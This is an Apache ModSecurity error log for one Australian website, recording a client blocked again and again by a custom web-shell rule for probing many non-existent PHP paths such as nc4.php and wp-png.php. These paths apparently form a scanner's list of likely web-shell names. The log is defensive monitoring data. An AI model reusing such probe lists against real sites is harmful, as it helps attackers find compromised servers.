[Sat Apr 18 20:16:39.534461 2026] [:error] [pid 34290:tid 34340] [client 52.236.80.95:6030] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wdf.php"] [unique_id "aeN2JxqX6WpmmAXOBi8a6AAAAdU"]
[Sat Apr 18 20:16:40.076343 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:6135] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wdf.php"] [unique_id "aeN2KBBmX4Wq5a6rxfao_gAAAVQ"]
[Sat Apr 18 20:16:40.772908 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:5877] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wdf.php"] [unique_id "aeN2KBBmX4Wq5a6rxfapAgAAAUA"]
[Sat Apr 18 20:16:41.281158 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:5880] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wdf.php"] [unique_id "aeN2KRBmX4Wq5a6rxfapBAAAAUQ"]
[Sat Apr 18 20:16:41.803370 2026] [:error] [pid 9865:tid 9938] [client 52.236.80.95:6108] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aeN2Kazb5knECIY-C-iBvwAAAIE"]
[Sat Apr 18 20:16:42.345455 2026] [:error] [pid 13023:tid 13025] [client 52.236.80.95:5807] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aeN2Kv1e7hG8DAeABB8FwAAAAQA"]
[Sat Apr 18 20:16:42.912507 2026] [:error] [pid 9970:tid 9977] [client 52.236.80.95:5813] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aeN2KiYdRLRhVmaIMx2zdQAAAMM"]
[Sat Apr 18 20:16:43.512036 2026] [:error] [pid 13023:tid 13043] [client 52.236.80.95:6139] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aeN2K_1e7hG8DAeABB8FwgAAARI"]
[Sat Apr 18 20:16:44.186860 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:5872] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aeN2LBBmX4Wq5a6rxfapCwAAAUA"]
[Sat Apr 18 20:16:44.686751 2026] [:error] [pid 13023:tid 13037] [client 52.236.80.95:5854] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aeN2LP1e7hG8DAeABB8FwwAAAQw"]
[Sat Apr 18 20:16:45.236953 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:6141] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aeN2LRBmX4Wq5a6rxfapDwAAAUQ"]
[Sat Apr 18 20:16:45.791586 2026] [:error] [pid 9865:tid 9940] [client 52.236.80.95:5713] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aeN2Lazb5knECIY-C-iBwwAAAIM"]
[Sat Apr 18 20:16:46.366112 2026] [:error] [pid 13023:tid 13035] [client 52.236.80.95:5640] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zyjhr.php"] [unique_id "aeN2Lv1e7hG8DAeABB8FxQAAAQo"]
[Sat Apr 18 20:16:46.900642 2026] [:error] [pid 9865:tid 9960] [client 52.236.80.95:5885] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zyjhr.php"] [unique_id "aeN2Lqzb5knECIY-C-iBxgAAAJc"]
[Sat Apr 18 20:16:47.513451 2026] [:error] [pid 34237:tid 34263] [client 52.236.80.95:6107] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zyjhr.php"] [unique_id "aeN2LxBmX4Wq5a6rxfapEAAAAVg"]
[Sat Apr 18 20:16:48.207180 2026] [:error] [pid 34237:tid 34248] [client 52.236.80.95:5835] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zyjhr.php"] [unique_id "aeN2MBBmX4Wq5a6rxfapEwAAAUk"]
[Sat Apr 18 20:16:48.760298 2026] [:error] [pid 34237:tid 34254] [client 52.236.80.95:6026] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b7cdb465.php"] [unique_id "aeN2MBBmX4Wq5a6rxfapFwAAAU8"]
[Sat Apr 18 20:16:49.366020 2026] [:error] [pid 9864:tid 9929] [client 52.236.80.95:5779] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b7cdb465.php"] [unique_id "aeN2MYCFeowknfXHM7kaowAAAFc"]
[Sat Apr 18 20:16:49.946230 2026] [:error] [pid 34288:tid 34305] [client 52.236.80.95:5818] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b7cdb465.php"] [unique_id "aeN2MeTIiy__PtiLmpnS1QAAAY0"]
[Sat Apr 18 20:16:50.502886 2026] [:error] [pid 34290:tid 34322] [client 52.236.80.95:5995] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b7cdb465.php"] [unique_id "aeN2MhqX6WpmmAXOBi8a7gAAAcM"]
[Sat Apr 18 20:16:51.135216 2026] [:error] [pid 34237:tid 34240] [client 52.236.80.95:5820] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x123.php"] [unique_id "aeN2MxBmX4Wq5a6rxfapHgAAAUE"]
[Sat Apr 18 20:16:51.768215 2026] [:error] [pid 13023:tid 13031] [client 52.236.80.95:5806] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x123.php"] [unique_id "aeN2M_1e7hG8DAeABB8FyQAAAQY"]
[Sat Apr 18 20:16:52.292425 2026] [:error] [pid 13023:tid 13028] [client 52.236.80.95:5708] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x123.php"] [unique_id "aeN2NP1e7hG8DAeABB8FygAAAQM"]
[Sat Apr 18 20:16:53.362178 2026] [:error] [pid 34288:tid 34313] [client 52.236.80.95:6082] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x123.php"] [unique_id "aeN2NeTIiy__PtiLmpnS2QAAAZU"]
[Sat Apr 18 20:16:53.887786 2026] [:error] [pid 34237:tid 34247] [client 52.236.80.95:5835] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/trx24.php"] [unique_id "aeN2NRBmX4Wq5a6rxfapIQAAAUg"]
[Sat Apr 18 20:16:54.417718 2026] [:error] [pid 34237:tid 34258] [client 52.236.80.95:5718] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/trx24.php"] [unique_id "aeN2NhBmX4Wq5a6rxfapIgAAAVM"]
[Sat Apr 18 20:16:55.005429 2026] [:error] [pid 9970:tid 9996] [client 52.236.80.95:5674] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/trx24.php"] [unique_id "aeN2NyYdRLRhVmaIMx2zeAAAANY"]
[Sat Apr 18 20:16:55.608061 2026] [:error] [pid 9865:tid 9937] [client 52.236.80.95:6099] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/trx24.php"] [unique_id "aeN2N6zb5knECIY-C-iBygAAAIA"]
[Sat Apr 18 20:16:56.229042 2026] [:error] [pid 9864:tid 9910] [client 52.236.80.95:6094] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lp5.php"] [unique_id "aeN2OICFeowknfXHM7kapAAAAEU"]
[Sat Apr 18 20:16:56.893656 2026] [:error] [pid 9863:tid 9876] [client 52.236.80.95:6133] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lp5.php"] [unique_id "aeN2ODjjiypiFrTucbLM6wAAAAM"]
[Sat Apr 18 20:16:57.482579 2026] [:error] [pid 34237:tid 34263] [client 52.236.80.95:5870] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lp5.php"] [unique_id "aeN2ORBmX4Wq5a6rxfapKwAAAVg"]
[Sat Apr 18 20:16:57.998488 2026] [:error] [pid 34237:tid 34249] [client 52.236.80.95:5793] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lp5.php"] [unique_id "aeN2ORBmX4Wq5a6rxfapLAAAAUo"]
[Sat Apr 18 20:16:58.570404 2026] [:error] [pid 34237:tid 34254] [client 52.236.80.95:5861] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "aeN2OhBmX4Wq5a6rxfapLwAAAU8"]
[Sat Apr 18 20:16:59.094417 2026] [:error] [pid 13023:tid 13039] [client 52.236.80.95:6097] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "aeN2O_1e7hG8DAeABB8FzAAAAQ4"]
[Sat Apr 18 20:16:59.671937 2026] [:error] [pid 9865:tid 9941] [client 52.236.80.95:6118] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "aeN2O6zb5knECIY-C-iBzAAAAIQ"]
[Sat Apr 18 20:17:00.216823 2026] [:error] [pid 34237:tid 34244] [client 52.236.80.95:6134] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "aeN2PBBmX4Wq5a6rxfapNQAAAUU"]
[Sat Apr 18 20:17:00.821960 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:6021] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "aeN2PBBmX4Wq5a6rxfapNwAAAVQ"]
[Sat Apr 18 20:17:01.772198 2026] [:error] [pid 34237:tid 34256] [client 52.236.80.95:6064] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "aeN2PRBmX4Wq5a6rxfapPAAAAVE"]
[Sat Apr 18 20:17:03.005269 2026] [:error] [pid 34237:tid 34247] [client 52.236.80.95:5703] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "aeN2PxBmX4Wq5a6rxfapVAAAAUg"]
[Sat Apr 18 20:17:03.696962 2026] [:error] [pid 34290:tid 34327] [client 52.236.80.95:6055] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "aeN2PxqX6WpmmAXOBi8a8AAAAcg"]
[Sat Apr 18 20:17:04.815295 2026] [:error] [pid 13023:tid 13037] [client 52.236.80.95:5732] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeN2QP1e7hG8DAeABB8FzwAAAQw"]
[Sat Apr 18 20:17:05.570646 2026] [:error] [pid 9864:tid 9905] [client 52.236.80.95:6020] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeN2QYCFeowknfXHM7kapQAAAEA"]
[Sat Apr 18 20:17:06.131148 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:6072] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeN2QhBmX4Wq5a6rxfapfQAAAUA"]
[Sat Apr 18 20:17:06.925148 2026] [:error] [pid 34288:tid 34307] [client 52.236.80.95:6031] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeN2QuTIiy__PtiLmpnS3gAAAY8"]
[Sat Apr 18 20:17:07.470940 2026] [:error] [pid 34288:tid 34308] [client 52.236.80.95:5697] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpc2.php"] [unique_id "aeN2Q-TIiy__PtiLmpnS3wAAAZA"]
[Sat Apr 18 20:17:08.251415 2026] [:error] [pid 9864:tid 9917] [client 52.236.80.95:6085] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpc2.php"] [unique_id "aeN2RICFeowknfXHM7kapwAAAEs"]
[Sat Apr 18 20:17:08.842463 2026] [:error] [pid 9863:tid 9890] [client 52.236.80.95:6126] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpc2.php"] [unique_id "aeN2RDjjiypiFrTucbLM8AAAABE"]
[Sat Apr 18 20:17:09.362785 2026] [:error] [pid 34237:tid 34246] [client 52.236.80.95:5727] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpc2.php"] [unique_id "aeN2RRBmX4Wq5a6rxfaphAAAAUc"]
[Sat Apr 18 20:17:09.887936 2026] [:error] [pid 34288:tid 34312] [client 52.236.80.95:6138] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/intall.php"] [unique_id "aeN2ReTIiy__PtiLmpnS5AAAAZQ"]
[Sat Apr 18 20:17:10.399082 2026] [:error] [pid 9864:tid 9920] [client 52.236.80.95:5762] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/intall.php"] [unique_id "aeN2RoCFeowknfXHM7kaqwAAAE4"]
[Sat Apr 18 20:17:10.946556 2026] [:error] [pid 34290:tid 34321] [client 52.236.80.95:5761] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/intall.php"] [unique_id "aeN2RhqX6WpmmAXOBi8a8QAAAcI"]
[Sat Apr 18 20:17:11.453285 2026] [:error] [pid 9864:tid 9922] [client 52.236.80.95:5710] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/intall.php"] [unique_id "aeN2R4CFeowknfXHM7kargAAAFA"]
[Sat Apr 18 20:17:11.983198 2026] [:error] [pid 34290:tid 34329] [client 52.236.80.95:6124] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aeN2RxqX6WpmmAXOBi8a9QAAAco"]
[Sat Apr 18 20:17:12.565595 2026] [:error] [pid 9865:tid 9941] [client 52.236.80.95:6034] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aeN2SKzb5knECIY-C-iB1gAAAIQ"]
[Sat Apr 18 20:17:13.355509 2026] [:error] [pid 9864:tid 9908] [client 52.236.80.95:5722] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aeN2SYCFeowknfXHM7kavQAAAEM"]
